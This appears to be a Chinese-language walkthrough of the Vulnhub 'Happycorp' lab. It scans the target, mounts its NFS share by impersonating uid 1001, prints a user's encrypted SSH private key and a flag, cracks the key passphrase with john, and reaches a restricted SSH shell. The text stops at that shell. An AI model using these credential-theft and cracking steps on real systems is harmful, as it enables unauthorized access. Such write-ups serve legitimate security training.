Vulnhub之Happycorp靶机测试过程

Happycorp

识别目标主机IP地址

─(kali㉿kali)-[~/Vulnhub/Happycorp]
└─$ sudo netdiscover -i eth1
Currently scanning: 192.168.128.0/16   |   Screen View: Unique Hosts                                                       

 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                            
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:0a      1      60  Unknown vendor                                                           
 192.168.56.100  08:00:27:9a:9e:c2      1      60  PCS Systemtechnik GmbH                                                   
 192.168.56.253  08:00:27:8f:f5:17      1      60  PCS Systemtechnik GmbH

利用Kali Linux自带的netdiscover工具识别目标主机的IP地址为192.168.56.253

NMAP扫描

┌──(kali㉿kali)-[~/Vulnhub/Happycorp]
└─$ sudo nmap -sS -sV -sC -p- 192.168.56.253 -oN nmap_full_scan
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-03 23:25 EST
Nmap scan report for localhost (192.168.56.253)
Host is up (0.000079s latency).
Not shown: 65527 closed tcp ports (reset)
PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 81:ea:90:61:be:0a:f2:8d:c3:4e:41:03:f0:07:8b:93 (RSA)
|   256 f6:07:4a:7e:1d:d8:cf:a7:cc:fd:fb:b3:18:ce:b3:af (ECDSA)
|_  256 64:9a:52:7b:75:b7:92:0d:4b:78:71:26:65:37:6c:bd (ED25519)
80/tcp    open  http     Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/admin.php
|_http-title: Happycorp
|_http-server-header: Apache/2.4.25 (Debian)
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100003  3,4         2049/udp   nfs
|   100003  3,4         2049/udp6  nfs
|   100005  1,2,3      37884/udp   mountd
|   100005  1,2,3      40573/udp6  mountd
|   100005  1,2,3      41755/tcp6  mountd
|   100005  1,2,3      55611/tcp   mountd
|   100021  1,3,4      33478/udp6  nlockmgr
|   100021  1,3,4      38352/udp   nlockmgr
|   100021  1,3,4      44527/tcp   nlockmgr
|   100021  1,3,4      45537/tcp6  nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
2049/tcp  open  nfs_acl  3 (RPC #100227)
35799/tcp open  mountd   1-3 (RPC #100005)
44527/tcp open  nlockmgr 1-4 (RPC #100021)
54587/tcp open  mountd   1-3 (RPC #100005)
55611/tcp open  mountd   1-3 (RPC #100005)
MAC Address: 08:00:27:8F:F5:17 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.02 seconds

获得Shell

┌──(kali㉿kali)-[~/Vulnhub/Happycorp]
└─$ curl http://192.168.56.253/robots.txt              
User-agent: *
Disallow: /admin.php

┌──(kali㉿kali)-[~/Vulnhub/Happycorp]
└─$ curl http://192.168.56.253/admin.php 
<link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">
<center><br />
<h2>Happycorp Super Secure login</h2>
<br />
<form method="POST" action="">
<label>Username:</label><input type="text" name="user" value=""><br />
<label>Password:</label><input type="password" name="pass" value=""><br />
<input type="submit" value="Login">
<!-- That computer thingy about db and such doesn't work so I just hard coded it - Rodney -->
</form></div>
</center>

访问admin.php页面，返回页面的注释中提示站点没有用数据库，同时可能用户名为：Rodney

看一下是否可以暴力破解rodney的密码：

┌──(kali㉿kali)-[~/Vulnhub/Happycorp]
└─$ nikto -h http://192.168.56.253
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.56.253
+ Target Hostname:    192.168.56.253
+ Target Port:        80
+ Start Time:         2022-12-03 23:34:31 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.25 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Cookie PHPSESSID created without the httponly flag
+ Entry '/admin.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Server may leak inodes via ETags, header found with file /, inode: 8825, size: 58340bcff7e6c, mtime: gzip
+ Apache/2.4.25 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS 
+ OSVDB-29786: /admin.php?en_log_id=0&action=config: EasyNews from http://www.webrc.ca version 4.3 allows remote admin access. This PHP file should be protected.
+ OSVDB-29786: /admin.php?en_log_id=0&action=users: EasyNews from http://www.webrc.ca version 4.3 allows remote admin access. This PHP file should be protected.
+ OSVDB-3092: /admin.php: This might be interesting...
+ OSVDB-3268: /css/: Directory indexing found.
+ OSVDB-3092: /css/: This might be interesting...
+ OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting...
+ OSVDB-3268: /lib/: Directory indexing found.
+ OSVDB-3092: /lib/: This might be interesting...
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7916 requests: 0 error(s) and 20 item(s) reported on remote host
+ End Time:           2022-12-03 23:35:19 (GMT-5) (48 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

80端口暂时没有什么收获，从NMAP扫描结果可以知道目标主机有NFS服务：

┌──(kali㉿kali)-[~/Vulnhub/Happycorp]
└─$ sudo showmount -e 192.168.56.253
Export list for 192.168.56.253:
/home/karl *

┌──(kali㉿kali)-[~/Vulnhub/Happycorp]
└─$ mkdir share

目标主机有共享目录，因此将其挂载到本地：

┌──(kali㉿kali)-[~/Vulnhub/Happycorp/share]
└─$ ls -alh   
total 28K
drwxr-xr-x 3 1001 1001 4.0K Mar  5  2019 .
drwxr-xr-x 3 kali kali 4.0K Dec  3 23:50 ..
lrwxrwxrwx 1 root root    9 Mar  5  2019 .bash_history -> /dev/null
-rw-r--r-- 1 1001 1001  220 Mar  4  2019 .bash_logout
-rw-r--r-- 1 1001 1001 3.5K Mar  5  2019 .bashrc
-rw------- 1 1001 1001   28 Mar  4  2019 .lesshst
-rw-r--r-- 1 1001 1001  675 Mar  4  2019 .profile
drwx------ 2 1001 1001 4.0K Mar  5  2019 .ssh

发现只有1001用户和组才能访问,因此在本地创建1001用户，就可以读取文件，拷贝私钥，并且从id_rsa.pub知道用户名为karl

┌──(kali㉿kali)-[~/Vulnhub/Happycorp/share]
└─$ su 1001           
Password: 

┌──(kali㉿kali)-[~/Vulnhub/Happycorp/share]
└─$ sudo passwd 1001      
New password: 
Retype new password: 
passwd: password updated successfully

┌──(kali㉿kali)-[~/Vulnhub/Happycorp/share]
└─$ su 1001         
Password: 
$ ls
$ cd /home/kali
$ ls -alh
total 26M
drwxr-xr-x 28 kali kali 4.0K Dec  3 23:40 .
drwxr-xr-x  3 root root 4.0K Aug  8 06:10 ..
drwxr-xr-x  9 kali kali 4.0K Nov 25 21:14 antSword-master
-rw-r--r--  1 kali kali  26M Nov 25 21:13 antSword-master.zip
-rw-------  1 kali kali  204 Nov 25 06:26 .bash_history
-rw-r--r--  1 kali kali  220 Aug  8 06:10 .bash_logout
-rw-r--r--  1 kali kali 5.5K Aug  8 06:10 .bashrc
-rw-r--r--  1 kali kali 3.5K Aug  8 06:10 .bashrc.original
drwx------  4 kali kali 4.0K Nov 22 21:39 .BurpSuite
drwx------ 13 kali kali 4.0K Dec  1 20:12 .cache
drwxr-xr-x 16 kali kali 4.0K Nov 27 06:40 .config
drwxr-xr-x  2 kali kali 4.0K Nov 21 21:22 Desktop
-rw-r--r--  1 kali kali   35 Nov 21 20:14 .dmrc
drwxr-xr-x  2 kali kali 4.0K Nov 21 20:14 Documents
drwxr-xr-x  2 kali kali 4.0K Dec  3 21:33 Downloads
-rw-r--r--  1 kali kali  12K Aug  8 06:10 .face
lrwxrwxrwx  1 kali kali    5 Aug  8 06:10 .face.icon -> .face
-rw-r--r--  1 kali kali   22 Nov 30 18:01 .gdbinit
drwx------  3 kali kali 4.0K Nov 21 20:14 .gnupg
-rw-------  1 kali kali    0 Nov 21 20:14 .ICEauthority
-rwxr-xr-x  1 kali kali 2.0K Nov 24 02:58 ICMS
drwxr-xr-x  4 kali kali 4.0K Nov 22 04:47 .java
drwx------  2 kali kali 4.0K Nov 30 12:48 .john
-rw-------  1 kali kali   20 Dec  2 23:04 .lesshst
drwx------  5 kali kali 4.0K Dec  1 20:12 .local
drwx------  5 kali kali 4.0K Nov 21 20:43 .mozilla
drwxr-xr-x 10 kali kali 4.0K Nov 26 03:46 .msf4
drwxr-xr-x  2 kali kali 4.0K Nov 21 20:14 Music
drwxr-xr-x  4 kali kali 4.0K Nov 30 18:00 peda
drwxr-xr-x  2 kali kali 4.0K Nov 21 20:14 Pictures
drwx------  3 kali kali 4.0K Nov 25 21:13 .pki
-rw-r--r--  1 kali kali  807 Aug  8 06:10 .profile
drwxr-xr-x  2 kali kali 4.0K Nov 21 20:14 Public
-rw-------  1 kali kali 1.4K Nov 22 21:21 .python_history
drwx------  2 kali kali 4.0K Dec  3 09:39 .ssh
-rw-r--r--  1 kali kali    0 Nov 21 20:24 .sudo_as_admin_successful
drwxr-xr-x  2 kali kali 4.0K Nov 21 20:14 Templates
drwxr-xr-x  5 kali kali 4.0K Nov 29 07:10 Toolsets
-rw-r-----  1 kali kali    4 Dec  3 23:18 .vboxclient-clipboard.pid
-rw-r-----  1 kali kali    4 Dec  3 23:18 .vboxclient-display-svga-x11.pid
-rw-r-----  1 kali kali    4 Dec  3 23:18 .vboxclient-draganddrop.pid
-rw-r-----  1 kali kali    4 Dec  3 23:18 .vboxclient-seamless.pid
drwxr-xr-x  2 kali kali 4.0K Nov 21 20:14 Videos
-rw-------  1 kali kali  17K Dec  3 08:45 .viminfo
drwxr-xr-x 48 kali kali 4.0K Dec  3 23:19 Vulnhub
drwxr-xr-x  2 kali kali 4.0K Nov 25 20:43 .weevely
-rw-r--r--  1 kali kali  224 Nov 30 22:38 .wget-hsts
drwxr-xr-x  3 kali kali 4.0K Nov 25 10:18 .wpscan
-rw-------  1 kali kali   49 Dec  3 23:18 .Xauthority
-rw-------  1 kali kali  11K Dec  3 23:48 .xsession-errors
-rw-------  1 kali kali 8.1K Dec  3 23:04 .xsession-errors.old
drwxr-xr-x 21 kali kali 4.0K Nov 25 22:48 .ZAP
-rw-------  1 kali kali  76K Dec  3 23:04 .zsh_history
-rw-r--r--  1 kali kali  11K Aug  8 06:10 .zshrc
$ cd Vulnhub
$ ls -alh
total 192K
drwxr-xr-x 48 kali kali 4.0K Dec  3 23:19 .
drwxr-xr-x 28 kali kali 4.0K Dec  3 23:40 ..
drwxr-xr-x  2 kali kali 4.0K Nov 30 20:05 42Challenge
drwxr-xr-x  2 kali kali 4.0K Dec  1 06:48 Aqua
drwxr-xr-x  2 kali kali 4.0K Nov 30 08:33 Backdoored
drwxr-xr-x  2 kali kali 4.0K Nov 30 22:38 Beezlebub
drwxr-xr-x  2 kali kali 4.0K Dec  1 08:55 bossplayersCTF
drwxr-xr-x  2 kali kali 4.0K Dec  2 08:15 Bottleneck
drwxr-xr-x  2 kali kali 4.0K Dec  1 03:31 Darkhole
drwxr-xr-x  7 kali kali 4.0K Dec  2 23:42 Darkhole2
drwxr-xr-x  2 kali kali 4.0K Dec  3 22:11 Dawn
drwxr-xr-x  2 kali kali 4.0K Dec  3 22:49 DC_1
drwxr-xr-x  2 kali kali 4.0K Dec  3 08:45 DC416_Galahad
drwxr-xr-x  2 kali kali 4.0K Dec  3 09:41 Dr4g0n_b4ll-disk1
drwxr-xr-x  2 kali kali 4.0K Nov 21 22:01 Gigachad
drwxr-xr-x  2 kali kali 4.0K Nov 22 00:19 Hackable_II
drwxr-xr-x  2 kali kali 4.0K Nov 22 02:57 Hackathon2
drwxr-xr-x  2 kali kali 4.0K Nov 22 04:48 Hacker_Kid
drwxr-xr-x  3 kali kali 4.0K Nov 23 05:49 Hacksudo3
drwxr-xr-x  2 kali kali 4.0K Nov 23 07:51 Hacksudo_Alien
drwxr-xr-x  3 kali kali 4.0K Nov 23 00:29 Hacksudo_FOG
drwxr-xr-x  2 kali kali 4.0K Nov 23 08:58 Hacksudo_LPE
drwxr-xr-x  2 kali kali 4.0K Nov 23 00:05 Hacksudo_ProximaCentaur
drwxr-xr-x  2 kali kali 4.0K Nov 23 03:40 Hacksudo_Search
drwxr-xr-x  3 kali kali 4.0K Dec  3 23:50 Happycorp
drwxr-xr-x  2 kali kali 4.0K Nov 24 04:48 ICMP
drwxr-xr-x  3 kali kali 4.0K Nov 24 08:43 Inferno
drwxr-xr-x  2 kali kali 4.0K Dec  1 04:44 InfoSecWarriorBox2
drwxr-xr-x  2 kali kali 4.0K Nov 25 02:32 Ino
drwxr-xr-x  2 kali kali 4.0K Nov 25 05:53 Insomnia
drwxr-xr-x  2 kali kali 4.0K Nov 25 21:51 jangow
drwxr-xr-x  3 kali kali 4.0K Nov 25 23:20 KB_Vuln
drwxr-xr-x  3 kali kali 4.0K Nov 26 03:01 KB_Vuln2
drwxr-xr-x  2 kali kali 4.0K Nov 26 06:57 KiraCTF
drwxr-xr-x  2 kali kali 4.0K Nov 26 10:05 Loly
drwxr-xr-x  2 kali kali 4.0K Nov 26 22:19 M87
drwxr-xr-x  3 kali kali 4.0K Nov 27 00:31 Mercury
drwxr-xr-x  2 kali kali 4.0K Nov 27 07:02 MoneyBox
drwxr-xr-x  2 kali kali 4.0K Nov 27 09:32 Monitoring
drwxr-xr-x  2 kali kali 4.0K Nov 27 21:20 Nully
drwxr-xr-x  2 kali kali 4.0K Nov 27 22:49 Odin
drwxr-xr-x  2 kali kali 4.0K Nov 28 01:21 Phineas
drwxr-xr-x  2 kali kali 4.0K Nov 28 03:07 potato-suncsr
drwxr-xr-x  2 kali kali 4.0K Nov 28 04:51 Praying
drwxr-xr-x  2 kali kali 4.0K Nov 28 06:40 Pwn_the_Tron
drwxr-xr-x  2 kali kali 4.0K Nov 28 09:47 Ragnar_lothbrok
drwxr-xr-x  2 kali kali 4.0K Nov 29 07:10 Shuriken_1
drwxr-xr-x  2 kali kali 4.0K Nov 29 09:22 Tender
$ cd Happycorp
$ ls -alh
total 16K
drwxr-xr-x  3 kali kali 4.0K Dec  3 23:50 .
drwxr-xr-x 48 kali kali 4.0K Dec  3 23:19 ..
-rw-r--r--  1 root root 2.2K Dec  3 23:26 nmap_full_scan
drwxr-xr-x  3 1001 1001 4.0K Mar  5  2019 share
$ cd share
$ ls -alh
total 28K
drwxr-xr-x 3 1001 1001 4.0K Mar  5  2019 .
drwxr-xr-x 3 kali kali 4.0K Dec  3 23:50 ..
lrwxrwxrwx 1 root root    9 Mar  5  2019 .bash_history -> /dev/null
-rw-r--r-- 1 1001 1001  220 Mar  4  2019 .bash_logout
-rw-r--r-- 1 1001 1001 3.5K Mar  5  2019 .bashrc
-rw------- 1 1001 1001   28 Mar  4  2019 .lesshst
-rw-r--r-- 1 1001 1001  675 Mar  4  2019 .profile
drwx------ 2 1001 1001 4.0K Mar  5  2019 .ssh
$ cd .ssh
$ ls -alh
total 24K
drwx------ 2 1001 1001 4.0K Mar  5  2019 .
drwxr-xr-x 3 1001 1001 4.0K Mar  5  2019 ..
-rw-r--r-- 1 1001 1001  740 Mar  4  2019 authorized_keys
-rw------- 1 1001 1001 3.3K Mar  4  2019 id_rsa
-rw-r--r-- 1 1001 1001  740 Mar  4  2019 id_rsa.pub
-rw-r--r-- 1 1001 1001   18 Mar  4  2019 user.txt
$ cat user.txt
flag1{Z29vZGJveQ}
$ chmod 400 id_rsa
chmod: changing permissions of 'id_rsa': Read-only file system
$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,A6E2D064459881EDB840A03CF87FC98C

E7bMz/o+2TKdht+lrSWgyrz+4ZpjiKVJqJP4Jc+1U/FEeh+ebdRxCmPffncCDbBk
Mt/fV+R5i74rAlF+I+oKQkaMEgiODJ/kkBgeNqxtXp/xw64v77CzlwYiInuXQRwD
Gqz5MZbO0+iTRF5r6hULEVMjrH7u1OUHM23AXZPCVWKpIDwKyggMO/XTOWt4eY2W
eQXBm77dwBd9Jp1z2ao5aZDujs5jRe2iSD2EbrUS0odR4yfLCHAy+VPtAbww30ni
QErM4l3Nv8gKfJRZ1SoPi8SSuzSaWyNbS7+jLaSoY6l/Pz5biX61QwUeEJzSGfmm
1xxQObwiOD8nMbu85uP+f24Hpsqnclc3aKhQyxZ7liWokElTocWXB66y1D3LFsN5
sifI6vCDge7tkwbWRLsbL+fUg61/bPaE1mD8sTSlx6vxA9oPmtsjzWWa4KGNvh3U
6JHakEu1K7G38ugMlThjby8BC8BEDMA2Fd/Ki9a6rpMucZV9fRf8QFgsqMhUfplm
+fDSszDdgHdZufEo634WdEsoHLBfAEtxskhmgL+SfsgddtBmbIA9ZzrKnVf6edVI
WqBYtoOy0xg37yppMv3k0VwNMbKSRT3gT8BILpl0oKnC2bBddXz7EtYycI2gjGnB
jLlgnFvvQk6XPXm4+rNv1wGzQ8vFCQ/VnjRj1/eay2iA2Omg/qxTxi0SXrG3DZvJ
ZO0M/HRB3M0Pma3Q9pTztBINrgeGp+iDs+IZzUa+jvRzX2pTAWte/j4+m3/C8C3Q
O1m3Wb9qax9Lk4zTW6+HREcy9uRisLiWjaW3zO49+NRIDvHKYWNOiORBQ03q01af
4RUDVJLtJT+ghL23caLOhPAfkMCxdud35ylWkEt29Aq53s/D/0O2JsBEMlXDm48+
UK9w8AS2jk2Z2h1A8RGueANlU4ngCS4bTP4oOqwXZZvw+0ryFlBWYihAHP5180lr
Ly2qzDFLgRiF037vALQN9eIBTkl8kN/HOs/Qwmu03qD3l44i+ilwYyQGe4rWH29i
mLGHXk9cmojX+O9BZ+mrfVyu4iWafPYjZaL2uyzo9DKWV8tucE20SJvF7iS0CK50
1tz/fefe1r1HBeP/DyxWuOl/klZExkYq3kzPi1h+M8OqRzQmfFx1KHeoH47Va9Mi
X9+fgqwuophcUaVjznKi3RUSySQlBYt6Z0f1sns8/fYVw0+uNDmrdZf7AQ1AtojE
4pycRxAGLlGNV+dVA7SvTPo4+Fd8u70Jmqona0A/xVfdS7t9U/vNhfGnSvl+vS3g
OD929wiO3mqsJnzmTG07eax7OvqRPc+z+5ALKziE++7ClwAJli30Nit1CdxwISEn
7NBGAIbRxQ7iu4tKXycVzIfRGKEEoAM1LqyHN9bDcicuUZHx6RlpCLJnIjAeEYQ7
3zcOSs/O4+ttYJ+1ADHzhr2aj9BsEcWZjV1s0EoWXGaLjfQpWG5M9sW2u5wd+Ch0
XnLEV/8WmzAZPC6yz6MiFVIzJc1tP0shT6fAH4d+TOYakBkraFWobgmIe1NLHAbY
GGhahKsiAw9fb5U/Bu2No715B99dDs/bcAkv+u8A3rf/kCDLyATL7I3VxCW21OCx
XiKkjTLgEOx6t0KIQHxZPHKgi8PgDhXr6tTLQ1Cxq8T/Gg7yx4UBFheVswJE2tGy
8CufKKg+ATCp20Zjr/B6voXcbI+gCDZ0AvEdDHgfXggkVtovCbmaCPXsYlP1GJpG
nss+me1pHXrP5Q23shjdvAEyCWTNOQ1yXrWgQxAETd5R7skBfpgBuGhgp1hNHTIm
qqa7iAQ6cBgs21Nl2D65k3e5QXQcc5ylLyYsbmfuhC2RzSlxyr7jJ6ngDGOuGxXy
FMFNomm5PJq4Nxoem8F9w9EU/gh1xIh+cjS/EGihnWv8shmg2cFoq1AtZqO4ow9G
53wHL/9opkEnrP2z3mklJmnuBcUDyZ35geymWKZ8xf+EItG5Lm+YFlYT/USD4Q63
e4gVMnxJODanxc/Vvj8t9U69DrH08q6jxVLT5rGdWTC7DmR/TEmaRco1okUNIJHd
oyI9TYT4AwIHAXs4ON2IxU6uUvJN5cgVgoc4zlTalUz7Tk3apjyavDECcvhapumb
ie0y0JOJk5nHiw8y/73oB/XEnr4roCADoYO8XvcMueGnCIRlhc4Q2SEwU0J2ghbx
xlXx0h1V6tnuFaj6Zzdbi+QAqc+g84mgoiZmVK3ln73BLgBXy9elNXYrgpgw65L9
XZzrBSd74ViT1b/vidFrZewzhjY3wuccyFbbo5109JMJPisGhWaLWZRk8NcRfq2Y
Q/eSngFOXwXfJWcK+dQGr1/xXANAa1iN+7VLrfNEMC8f5cgqxyGg2h109jfJ6/BC
Vd6U6v4a7o662foKQWyhrDpkV6m2wCXBuAKY34FMBROmdpDdSLeiIYyPuDeUjbny
SaiJDUoJMjz3wzgzsDuDa1EMzUjCqNc5MO5jfyORk3GClrhU569u5MLnmQ/dAKny
ffR4RqNNtdeQw0tDzKq0BAahEHnoJZJPpb1+TSIx5QMK//M7rZlSxigGP840j0a1
YZI4f0tX4CZ9pEJZKr4q0G7JBC5bsZKRBpYa/Ey/eClK+4moTwS5AUJw7uifccxd
TlCHat9j7qrkUdsH3lHGxp8tERpDVV4AyM2Tuq0QCkFT6hTfnLhB3znBz+NCfpsR
vL60rsg33ZtId1RgQ4d7vcsDGaZMYUHfuiqhgjY9K/f7VQ0mRK+t27ww9UWAyAtG
3I5E5Bt4HhhpArkzkJmgx3vySnrtBbNN0WVN63eCsGOc3UNQpRGJgNcT486jjZW2
UByduAIZAkeySz8kqgqZ0SbVv+nrzXxCRKQFaNN5M1t+3NjBPJ3Qcc8ngIhmaPyF
BuWD4SIUcPkkt1iwROzuInaiFR4GAejePeXLL7XAJ7i0yVbOiBmwPRRk0mvhyI/1
Ewb1zJw+8huXZGWOQmWznrCyR7H5CTR9+a8HYW5Nr5j0Y3sNEmC5L2gicxm/gyDi
Viz09SdNxqZAMdMtmOu6jYmJ3G8eh/RYKhk3dgpFgqBtNzLx6NW2b7NVjwYodvFG
L+UmdHyHHWbXSY8KdfDhBJ1RIDcugUWwyR4RncuIzQxegHILl1fHxTUtNqYtICbM
-----END RSA PRIVATE KEY-----
$ ls
authorized_keys  id_rsa  id_rsa.pub  user.txt
$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNiAQUpuxbe7Urm0OHSwVJqx0xSTApeX+e6YcNE1Yv0EWPQsDu3d737H0dIhG/l3ftjGbFLshiXkQkdPun96Y0V6CXm7YtAOI2ga1M83ApRDzFsCvSteXBECZHHhACB7gjdidrW6aohTlqZCcEkyEOEb2Mt8nHTA+dfmaRwqJl1nMzO5l4cTg/rN3TiMwAa+lyjjjxJ0v2tvRde+VOafunF+/vYrafhtgg3ECMxp9SSnD4NxU0fhX9eYdTcZkFb17Py5Bi8aZ4dWkuUrSIAIBXyF5voHIrZcOywmdauHhwbIWagqblvHtTjpoqzunRH6nicSZGEFsilQ943HOPSigyi6bKx+vK9aj+o4JsnMX3qyz1F0M7Nrzdc4rF1PZ2ViIl7PnhmwIFOpjRRcu/N+WB93gU9d4A6S/s2z+mkIghTme24IqPylZD9Rpol08je+KLXvtSg/Ypojruz6/zSl2FYVd9i53Sm3afp9P1OHQWllCVLv+xxiCI/c2r/bK9lE15vhzaSvaRrXchOX0Hnt0oiBXsIC/TMFzNwsy8RMzLpaxoHIK76CN8fPVulX+VmD7xqx6hQqS9fPsJTKikJjLz5laqLHbhHpaChSl/5PHZuafI3Li2QjUEt+RvyBAVUuGzRT8dwGOLDBB2+FK4Slu65AGkDfkDm9C1/9K8dGVm7Q== karl@happycorp
$

──(kali㉿kali)-[~/Vulnhub/Happycorp]
└─$ >....                                                                                                                     
XiKkjTLgEOx6t0KIQHxZPHKgi8PgDhXr6tTLQ1Cxq8T/Gg7yx4UBFheVswJE2tGy
8CufKKg+ATCp20Zjr/B6voXcbI+gCDZ0AvEdDHgfXggkVtovCbmaCPXsYlP1GJpG
nss+me1pHXrP5Q23shjdvAEyCWTNOQ1yXrWgQxAETd5R7skBfpgBuGhgp1hNHTIm
qqa7iAQ6cBgs21Nl2D65k3e5QXQcc5ylLyYsbmfuhC2RzSlxyr7jJ6ngDGOuGxXy
FMFNomm5PJq4Nxoem8F9w9EU/gh1xIh+cjS/EGihnWv8shmg2cFoq1AtZqO4ow9G
53wHL/9opkEnrP2z3mklJmnuBcUDyZ35geymWKZ8xf+EItG5Lm+YFlYT/USD4Q63
e4gVMnxJODanxc/Vvj8t9U69DrH08q6jxVLT5rGdWTC7DmR/TEmaRco1okUNIJHd
oyI9TYT4AwIHAXs4ON2IxU6uUvJN5cgVgoc4zlTalUz7Tk3apjyavDECcvhapumb
ie0y0JOJk5nHiw8y/73oB/XEnr4roCADoYO8XvcMueGnCIRlhc4Q2SEwU0J2ghbx
xlXx0h1V6tnuFaj6Zzdbi+QAqc+g84mgoiZmVK3ln73BLgBXy9elNXYrgpgw65L9
XZzrBSd74ViT1b/vidFrZewzhjY3wuccyFbbo5109JMJPisGhWaLWZRk8NcRfq2Y
Q/eSngFOXwXfJWcK+dQGr1/xXANAa1iN+7VLrfNEMC8f5cgqxyGg2h109jfJ6/BC
Vd6U6v4a7o662foKQWyhrDpkV6m2wCXBuAKY34FMBROmdpDdSLeiIYyPuDeUjbny
SaiJDUoJMjz3wzgzsDuDa1EMzUjCqNc5MO5jfyORk3GClrhU569u5MLnmQ/dAKny
ffR4RqNNtdeQw0tDzKq0BAahEHnoJZJPpb1+TSIx5QMK//M7rZlSxigGP840j0a1
YZI4f0tX4CZ9pEJZKr4q0G7JBC5bsZKRBpYa/Ey/eClK+4moTwS5AUJw7uifccxd
TlCHat9j7qrkUdsH3lHGxp8tERpDVV4AyM2Tuq0QCkFT6hTfnLhB3znBz+NCfpsR
vL60rsg33ZtId1RgQ4d7vcsDGaZMYUHfuiqhgjY9K/f7VQ0mRK+t27ww9UWAyAtG
3I5E5Bt4HhhpArkzkJmgx3vySnrtBbNN0WVN63eCsGOc3UNQpRGJgNcT486jjZW2
UByduAIZAkeySz8kqgqZ0SbVv+nrzXxCRKQFaNN5M1t+3NjBPJ3Qcc8ngIhmaPyF
BuWD4SIUcPkkt1iwROzuInaiFR4GAejePeXLL7XAJ7i0yVbOiBmwPRRk0mvhyI/1
Ewb1zJw+8huXZGWOQmWznrCyR7H5CTR9+a8HYW5Nr5j0Y3sNEmC5L2gicxm/gyDi
Viz09SdNxqZAMdMtmOu6jYmJ3G8eh/RYKhk3dgpFgqBtNzLx6NW2b7NVjwYodvFG
L+UmdHyHHWbXSY8KdfDhBJ1RIDcugUWwyR4RncuIzQxegHILl1fHxTUtNqYtICbM
-----END RSA PRIVATE KEY-----' > id_rsa

┌──(kali㉿kali)-[~/Vulnhub/Happycorp]
└─$ ls
id_rsa  nmap_full_scan  share

┌──(kali㉿kali)-[~/Vulnhub/Happycorp]
└─$ chmod 400 id_rsa      

┌──(kali㉿kali)-[~/Vulnhub/Happycorp]
└─$ ssh -i id_rsa karl@192.168.56.253                          
The authenticity of host '192.168.56.253 (192.168.56.253)' can't be established.
ED25519 key fingerprint is SHA256:OgzwYRlM7h5bXbWancj8dQk7eP1k25uSijalWsnKWVQ.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.253' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_rsa':

发现私钥被口令保护：

┌──(kali㉿kali)-[~/Vulnhub/Happycorp]
└─$ ssh2john id_rsa > hashes         

┌──(kali㉿kali)-[~/Vulnhub/Happycorp]
└─$ ls
hashes  id_rsa  nmap_full_scan  share

┌──(kali㉿kali)-[~/Vulnhub/Happycorp]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes           
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
sheep            (id_rsa)     
1g 0:00:00:00 DONE (2022-12-04 00:02) 33.33g/s 538666p/s 538666c/s 538666C/s sweetstuff..raymon
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

破解私钥的口令为sheep

发现虽然可以成功登录目标，但是提示resource temporarily unavailable

发现可以成功登录：

┌──(kali㉿kali)-[~/Vulnhub/Happycorp]
└─$ ssh -i id_rsa karl@192.168.56.253
Enter passphrase for key 'id_rsa': 
Linux happycorp 4.9.0-8-amd64 #1 SMP Debian 4.9.144-3.1 (2019-02-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Mar  5 05:10:07 2019 from 192.168.207.129
rbash: warning: shell level (1000) too high, resetting to 1
id
rbash: fork: retry: Resource temporarily unavailable
rbash: fork: retry: Resource temporarily unavailable
rbash: fork: retry: Resource temporarily unavailable
rbash: fork: retry: Resource temporarily unavailable
rbash: fork: Resource temporarily unavailable
karl@happycorp:~$ id
rbash: fork: retry: Resource temporarily unavailable
